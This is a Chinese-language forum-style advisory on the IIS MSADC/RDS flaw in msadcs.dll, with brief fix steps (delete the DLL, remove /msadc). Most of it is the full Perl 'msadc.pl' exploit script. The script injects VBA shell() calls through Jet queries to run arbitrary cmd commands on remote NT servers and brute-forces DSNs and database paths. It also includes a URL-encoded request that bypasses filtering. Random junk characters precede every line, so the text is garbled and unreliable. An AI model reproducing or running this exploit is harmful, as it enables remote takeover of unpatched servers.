IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
T#>1$0yv c~bTK"
u 涉及程序:
;X9nYH Microsoft NT server
,j'>}'wG) \nX5$[ 描述:
xM#+jI 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
DbL=2 H*h 7Y*([ 详细:
xDJs0P4 如果你没有时间读详细内容的话,就删除:
pOe"S c:\Program Files\Common Files\System\Msadc\msadcs.dll
m\XgvpvrP 有关的安全问题就没有了。
byyzXRO; &4m\``//9 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
03{pxI (|*CVI; 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
L^7"I 4=(D 关于利用ODBC远程漏洞的描述,请参看:
@N?u{|R:d 7Zf
*T http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm jMH=lQ+8 E|Q|Nx!6[ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
G(;C~kHX http://www.microsoft.com/security/bulletins/MS99-025faq.asp \?|FB~.Ry 7M#irCX 这里不再论述。
5Y#W$Fx($R k3w(KH@ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
pc=f, LXGlG /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$4&%<'l3I 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
OH* ^O9_dP: 8vuA`T!~G #将下面这段保存为txt文件,然后: "perl -x 文件名"
9(CY"Tc3 ;:%*h2 #!perl
zFq8xw #
Hl3%+f # MSADC/RDS 'usage' (aka exploit) script
=MsQ=:ZV #
pSzO)j # by rain.forest.puppy
z|^+uL #
E76#xsyhF # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
-D4"uoN. # beta test and find errors!
9S y |:J0 -!C9x?gNY use Socket; use Getopt::Std;
a9"1a' getopts("e:vd:h:XR", \%args);
{?zBc E: SFiK_; print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
GjfPba4> =u.jZ*u]WT if (!defined $args{h} && !defined $args{R}) {
z
:q9~ print qq~
DMc H, _( Usage: msadc.pl -h <host> { -d <delay> -X -v }
KbcmK(`_ -h <host> = host you want to scan (ip or domain)
5r-OE-U{ -d <seconds> = delay between calls, default 1 second
7SyysH<H -X = dump Index Server path table, if available
a
St -v = verbose
0<n*8t?A- -e = external dictionary file for step 5
:9O"?FE _?YP0GpU Or a -R will resume a command session
~hk;OB; ^Fe%1Lnt ~; exit;}
h,(f3Ik0O ;L{#TC(]J] $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
43HZ)3!me if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
'@WpJ{]A if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
K4[XP]\jr if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
cj5;XK $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Uh tk`2O if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
KIeTZVu$% F70_N($i if (!defined $args{R}){ $ret = &has_msadc;
O.HaEg/- die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
nz}}m^-j XeJ|Z)qZ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
z/Kjz$l! . "cmd /c ";
v1m'p:7uGB $in=<STDIN>; chomp $in;
j/Dc';,d.( $command="cmd /c " . $in ;
DJGq=* "+@>!U if (defined $args{R}) {&load; exit;}
e+? -# ="<S1}. print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&|%F=/VU &try_btcustmr;
*}n)KK7aT n1mqe*Mvs/ print "\nStep 2: Trying to make our own DSN...";
c'LDHh7b &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
3ZhB
8 P i=ztWKwKf print "\nStep 3: Trying known DSNs...";
KXS{@/"-B &known_dsn;
,]\: ]Y&? CQ(
_$ print "\nStep 4: Trying known .mdbs...";
[tP6FdS/M= &known_mdb;
f5droys9 |K jy4.2 if (defined $args{e}){
:/1/i&a print "\nStep 5: Trying dictionary of DSN names...";
{TWgR2?{C &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
w{HDCPuS eT4+O5t print "Sorry Charley...maybe next time?\n";
w2mL L?P exit;
FX6*` ~:|qdv%\ ##############################################################################
^9ZW}AAO J6s55
v sub sendraw { # ripped and modded from whisker
u40k9vh sleep($delay); # it's a DoS on the server! At least on mine...
,Z"l3~0\ my ($pstr)=@_;
G]T A7~VT socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
^&|$&7
die("Socket problems\n");
pR
VL}^Rk if(connect(S,pack "SnA4x8",2,80,$target)){
Q.d Hg7+D select(S); $|=1;
~H0WHqcy print $pstr; my @in=<S>;
pKM5<1J select(STDOUT); close(S);
g3i !> return @in;
1 ^k#g, } else { die("Can't connect...\n"); }}
-XSu;'4q `T;M=S^y*E ##############################################################################
'aWzam> j(8I+|| sub make_header { # make the HTTP request
g[W`4 my $msadc=<<EOT
&;)6G1X1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
_*.Wo"[%[X User-Agent: ACTIVEDATA
}+_Z|>qv Host: $ip
m9Z 3q ; Content-Length: $clen
=}12S:Qhj Connection: Keep-Alive
TAbC-T.EV bN#)F
ADCClientVersion:01.06
I'_.U]An Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
cX64 X Ux2pqPb --!ADM!ROX!YOUR!WORLD!
gda3{g7<) Content-Type: application/x-varg
u/@dWeY[] Content-Length: $reqlen
aXSTA,% wN])"bmB EOT
Z~.3)6,z ; $msadc=~s/\n/\r\n/g;
05<MsxB"w return $msadc;}
u.}z}'- {FavF 9O ##############################################################################
_a"\g9{%* 9tnW:Nw~ sub make_req { # make the RDS request
hE-u9i my ($switch, $p1, $p2)=@_;
*(~=L%s my $req=""; my $t1, $t2, $query, $dsn;
}v [$uT-q h4x RRyK if ($switch==1){ # this is the btcustmr.mdb query
#eqy!QdePf $query="Select * from Customers where City=" . make_shell();
P2nb&lVdu $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*lN>RWbM% $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
nl 7=Nhh T/^ /U6JB elsif ($switch==2){ # this is general make table query
/CtR|~w L $query="create table AZZ (B int, C varchar(10))";
~PT(/L $dsn="$p1";}
\pzqUTk ~CQYF,[Th elsif ($switch==3){ # this is general exploit table query
RhG9Xw9 $query="select * from AZZ where C=" . make_shell();
.1yp}&e# $dsn="$p1";}
T
j7i#o Ksq{=q-T elsif ($switch==4){ # attempt to hork file info from index server
gE/O29Y $query="select path from scope()";
iBy:HH $dsn="Provider=MSIDXS;";}
<Gy)|qpK[ oEE*H2l\ elsif ($switch==5){ # bad query
Rld1pX2v $query="select";
%Ot22a $dsn="$p1";}
i#t)tM" AepAlnI@ $t1= make_unicode($query);
@)>9l& $t2= make_unicode($dsn);
blcd]7nK $req = "\x02\x00\x03\x00";
Tp.0@aC $req.= "\x08\x00" . pack ("S1", length($t1));
Uhc2`r#q $req.= "\x00\x00" . $t1 ;
)5r *2I $req.= "\x08\x00" . pack ("S1", length($t2));
uL^Qtmm>M $req.= "\x00\x00" . $t2 ;
G"bItdb $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
zV\\T(R) return $req;}
QvK-3w;= m4{F-++dk ##############################################################################
vdloh , [q/=%8qLUA sub make_shell { # this makes the shell() statement
9-Bp =M return "'|shell(\"$command\")|'";}
/O1r=lv3Z (yv&&Jc ##############################################################################
33lD`4i+ }g:y!pk sub make_unicode { # quick little function to convert to unicode
gG0P &9xz my ($in)=@_; my $out;
K.?~@5% for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
>|L,9lR_b return $out;}
i DV.L q;a`*gX^ ##############################################################################
~ y%8uHL: |:SBkM, sub rdo_success { # checks for RDO return success (this is kludge)
Paz
yY my (@in) = @_; my $base=content_start(@in);
$j*j {}K if($in[$base]=~/multipart\/mixed/){
[?mDTD8zU return 1 if( $in[$base+10]=~/^\x09\x00/ );}
-o<L%Y<n2 return 0;}
>s}bq#x F gM<2$h ##############################################################################
TJ3CXyRq {dV#"+ sub make_dsn { # this makes a DSN for us
"$KU+? my @drives=("c","d","e","f");
vr<6j/ty print "\nMaking DSN: ";
w?6"`Mo foreach $drive (@drives) {
+U9Gj# print "$drive: ";
OJn g
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
E]` ) "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
;hi+.ng_ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
hc}dS$=C $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
$F-qqkR$ return 0 if $2 eq "404"; # not found/doesn't exist
Q6Z%T.1 if($2 eq "200") {
SovK|b& foreach $line (@results) {
4Y5Q>2D} return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
A6Ttx{] } return 0;}
rMIr&T ,@ A1eX} ##############################################################################
sXp>4MomV #9 5.KkF sub verify_exists {
z5-vx ` my ($page)=@_;
Z.+-MN WV my @results=sendraw("GET $page HTTP/1.0\n\n");
ZzPlIl}\ return $results[0];}
9\RSJGx6 X96>N{C*> ##############################################################################
kD:O$8[J8 S0nBX"$u sub try_btcustmr {
Um9Gjd my @drives=("c","d","e","f");
tL(B gku9 my @dirs=("winnt","winnt35","winnt351","win","windows");
,:UoE Z- ;<R$ foreach $dir (@dirs) {
<@xp. Y print "$dir -> "; # fun status so you can see progress
;}{xpJ/ foreach $drive (@drives) {
vR<Y1<j print "$drive: "; # ditto
I`kaAOe $reqlen=length( make_req(1,$drive,$dir) ) - 28;
BsiHVr $reqlenlen=length( "$reqlen" );
Xk%92Pto $clen= 206 + $reqlenlen + $reqlen;
g#qt<d}j @ROMHMd} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
@0A7d
$J( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@O9.~6 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
laN:H mR8 7UvfXzDNC ##############################################################################
PeGL
Rbx34 )K.~A&y@ sub odbc_error {
@.ebQR-:H my (@in)=@_; my $base;
s@sRdoTdF my $base = content_start(@in);
k"F5'Od if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
b=v $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
mY?^]3-_ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{#N](yUm $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#UL:#pY return $in[$base+4].$in[$base+5].$in[$base+6];}
22S4q`j print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
}I<r=? print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
rLO1Sv $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
wjW>#DE @ qWgokf ##############################################################################
r#
MJ pMM,ox" sub verbose {
?_q
e
2R. my ($in)=@_;
$}&Y$w>S return if !$verbose;
]2\|<. print STDOUT "\n$in\n";}
L
A-H j#d=V@=a ##############################################################################
{_QXx Gqq%q!k&1 sub save {
aOWW..| my ($p1, $p2, $p3, $p4)=@_;
j|"#S4IX)F open(OUT, ">rds.save") || print "Problem saving parameters...\n";
|Fz/9+I print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
fH?e9E4l close OUT;}
VqqI%[!Aw (@*[^@ipV ##############################################################################
tcyami6D4 t%Hg8oya sub load {
xayo{l=uGv my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
wJM})O%SQ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
TUoEk @p=<IN>; close(IN);
1o\P7PLe $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
8px@sXI*` $target= inet_aton($ip) || die("inet_aton problems");
,> lOmyh print "Resuming to $ip ...";
j\&
` $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
*4#)or if($p[1]==1) {
,.[T]37 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$Kgw6 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
S~L$sqt my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
rC.z772y% if (rdo_success(@results)){print "Success!\n";}
{/`iZzPg else { print "failed\n"; verbose(odbc_error(@results));}}
I$!rNfrs elsif ($p[1]==3){
`>&V_^y+ if(run_query("$p[3]")){
a;JB8 print "Success!\n";} else { print "failed\n"; }}
(A(7?eq elsif ($p[1]==4){
p>Dv&fX if(run_query($drvst . "$p[3]")){
gSQq print "Success!\n"; } else { print "failed\n"; }}
6Mu_9UAl` exit;}
1'DD9d{qN sFv68Ag+ ##############################################################################
Z18T<e nNJU@<|{* sub create_table {
?g
gl8bzA my ($in)=@_;
GlkTpX^b $reqlen=length( make_req(2,$in,"") ) - 28;
NrH2U Jm $reqlenlen=length( "$reqlen" );
FJo?~ $clen= 206 + $reqlenlen + $reqlen;
8qGK"%{ ~ my @results=sendraw(make_header() . make_req(2,$in,""));
("-Co,4ey return 1 if rdo_success(@results);
"F?p\I)( my $temp= odbc_error(@results); verbose($temp);
B M5+;h ! return 1 if $temp=~/Table 'AZZ' already exists/;
#DK@&Gv return 0;}
^\=<geEj "8}p>gS ##############################################################################
As0E'n85 3V~871:-~ sub known_dsn {
wSoIU,I # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
o1C1F}gxU my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
QND{3Q "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
5(RFkZn4[ "banner", "banners", "ads", "ADCDemo", "ADCTest");
jMv qKJ(< -|;{/ s5 foreach $dSn (@dsns) {
-xs@rV` print ".";
q5C(/@)^ next if (!is_access("DSN=$dSn"));
0Oy.&C T if(create_table("DSN=$dSn")){
|Iei!jm print "$dSn successful\n";
x=>B 6o-f if(run_query("DSN=$dSn")){
qv\n]M_& print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Er/h:= print "Something's borked. Use verbose next time\n";}}} print "\n";}
B].V|8h nmIos]B ##############################################################################
o2M+=O@ ~ 8L]!OQ9= sub is_access {
T
DOOq;+ my ($in)=@_;
k4:$LFw@ $reqlen=length( make_req(5,$in,"") ) - 28;
K|JpkEw $reqlenlen=length( "$reqlen" );
U-~cVk+LI $clen= 206 + $reqlenlen + $reqlen;
52Sq;X my @results=sendraw(make_header() . make_req(5,$in,""));
N$>.V7H& my $temp= odbc_error(@results);
$yxwB/ O( verbose($temp); return 1 if ($temp=~/Microsoft Access/);
d%+oCoeb return 0;}
>np!f8+d"q >h:rYEsh8V ##############################################################################
LsaE-l '5xIisP sub run_query {
u5D@,wSNz my ($in)=@_;
oz3N
8^M $reqlen=length( make_req(3,$in,"") ) - 28;
{wsO8LX $reqlenlen=length( "$reqlen" );
)CgKZ" $clen= 206 + $reqlenlen + $reqlen;
Jw13
Wb- my @results=sendraw(make_header() . make_req(3,$in,""));
[Q"*I2& return 1 if rdo_success(@results);
4 mj\wBp my $temp= odbc_error(@results); verbose($temp);
>YG1sMV-J return 0;}
;75m 9yGo %siBCjvo= ##############################################################################
<Y%km[Mh 38ac~1HjE sub known_mdb {
Gy}WZ9{ my @drives=("c","d","e","f","g");
}!_x\eq^ my @dirs=("winnt","winnt35","winnt351","win","windows");
Jr|"QRC my $dir, $drive, $mdb;
~,#zdm1r@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l0Rjq*5hJ y04md A6< # this is sparse, because I don't know of many
~N
"rr.w my @sysmdbs=( "\\catroot\\icatalog.mdb",
\S#Mc "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
K"Vo'9R[_ "\\system32\\certmdb.mdb",
!O|d,)$q "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
WcRTv"4& h8Wv t's my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
^a+W! "\\cfusion\\cfapps\\forums\\forums_.mdb",
MnToL@ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
F)fCj^zL "\\cfusion\\cfapps\\security\\realm_.mdb",
_:dt8+T# "\\cfusion\\cfapps\\security\\data\\realm.mdb",
=QdHji/sB "\\cfusion\\database\\cfexamples.mdb",
RRSkXDU} "\\cfusion\\database\\cfsnippets.mdb",
{ #?$p i[ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
nV`n=x "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
5e)2Jt: "\\cfusion\\brighttiger\\database\\cleam.mdb",
;B Lw?kf "\\cfusion\\database\\smpolicy.mdb",
GSlvT:k "\\cfusion\\database\cypress.mdb",
[=3f:>ssm "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
(]cM; "\\website\\cgi-win\\dbsample.mdb",
VtM:~|v "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)|52B;yZx "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
X8(H#Ef[ ); #these are just
aTi2=HL=S foreach $drive (@drives) {
,orq*Wd foreach $dir (@dirs){
kT7x
!7C foreach $mdb (@sysmdbs) {
<HYK9{Q print ".";
LYTx8 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
{?X#E12vf print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
d}d1]@Y\ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
jV W .=FK print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
1=U(ZX+u } else { print "Something's borked. Use verbose next time\n"; }}}}}
5a8[0&hA 2 Z"ce1cB foreach $drive (@drives) {
k[_)5@2 foreach $mdb (@mdbs) {
vI84=n print ".";
W~" 'a9H/ if(create_table($drv . $drive . $dir . $mdb)){
gteG*p i print "\n" . $drive . $dir . $mdb . " successful\n";
8]G if(run_query($drv . $drive . $dir . $mdb)){
zY11.!2 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
~Qg:_ @@\ } else { print "Something's borked. Use verbose next time\n"; }}}}
tr[(,kX }
=`&7pYd, fRcs@yZnS ##############################################################################
f&=WgITa ZnrsJ1f: sub hork_idx {
p?@R0] print "\nAttempting to dump Index Server tables...\n";
K[,d9j`^ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
_1>Xk_ $reqlen=length( make_req(4,"","") ) - 28;
adCTo $reqlenlen=length( "$reqlen" );
GbFtX\s+5j $clen= 206 + $reqlenlen + $reqlen;
]t2zwHo# my @results=sendraw2(make_header() . make_req(4,"",""));
OEZ`5"j if (rdo_success(@results)){
3y#U|&]{ my $max=@results; my $c; my %d;
&XvSAw+D@ for($c=19; $c<$max; $c++){
@%FLT6MY $results[$c]=~s/\x00//g;
Q4;%[7LU $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
SRP.Mqg9 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
CIt%7
\c $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
1\t# *N $d{"$1$2"}="";}
iY~.U`b` foreach $c (keys %d){ print "$c\n"; }
1')_^] } else {print "Index server doesn't seem to be installed.\n"; }}
[ClDKswq }q$6^y ##############################################################################
#
dA-dN P0mY/bBU sub dsn_dict {
crwui 8 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
"r+ v^ while(<IN>){
R5"5Z?' $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
a+-X\qN next if (!is_access("DSN=$dSn"));
c}-ADr9 if(create_table("DSN=$dSn")){
6@rebe!&= print "$dSn successful\n";
YK{E=<: if(run_query("DSN=$dSn")){
"VIoVu print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
KfPYH\0 print "Something's borked. Use verbose next time\n";}}}
`F(ghC print "\n"; close(IN);}
tz^2?wO q
HU}EEv ##############################################################################
w=;Jj7}L %&Fsk]T%: sub sendraw2 { # ripped and modded from whisker
z+5ZUS2~& sleep($delay); # it's a DoS on the server! At least on mine...
`)aIFAW my ($pstr)=@_;
mm1fG4
*% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
H^d2|E[D die("Socket problems\n");
$n><p>` if(connect(S,pack "SnA4x8",2,80,$target)){
qH=<8Iu print "Connected. Getting data";
)0 1,3J># open(OUT,">raw.out"); my @in;
^ UDNp.6k select(S); $|=1; print $pstr;
39yp1 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
#/,Wgs AC close(OUT); select(STDOUT); close(S); return @in;
4Ou5Vp&y } else { die("Can't connect...\n"); }}
QjIn0MJ)Xm o9XT_!Cwg ##############################################################################
!
^ DQX=1 id?B<OM sub content_start { # this will take in the server headers
h>a/3a$g my (@in)=@_; my $c;
c/'Cju W for ($c=1;$c<500;$c++) {
Iq?#kV9) if($in[$c] =~/^\x0d\x0a/){
qlU"v)Mx if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
/19ZyQw9 else { return $c+1; }}}
]?<=DHn return -1;} # it should never get here actually
f(*ygI 2?}5U)Hg ##############################################################################
\RF{ITV$kD xb (Cd sub funky {
~u.((GM my (@in)=@_; my $error=odbc_error(@in);
6rll0c~ if($error=~/ADO could not find the specified provider/){
9j8<Fs0M print "\nServer returned an ADO miscofiguration message\nAborting.\n";
q}+Fm?B exit;}
!7>~=n_,L. if($error=~/A Handler is required/){
+EOd9.X\~ print "\nServer has custom handler filters (they most likely are patched)\n";
RG8Ek"D@ exit;}
\'Z^rjB if($error=~/specified Handler has denied Access/){
{Q(R#$)5+ print "\nServer has custom handler filters (they most likely are patched)\n";
,7/F?!G!J exit;}}
s#*
DY %+bw2;a6 ##############################################################################
ytyX:e" P$H9 sub has_msadc {
isR)^fI| my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
v?L`aj1ox my $base=content_start(@results);
%2ZWSQD return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
[dIlt"2fV return 0;}
*RllKP Y) &a9Y4~e:: ########################
KmX?W/%R xsERn F>` Q13>z%Rge 解决方案:
^V?W'~ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
0K:3?Ik 2、移除web 目录: /msadc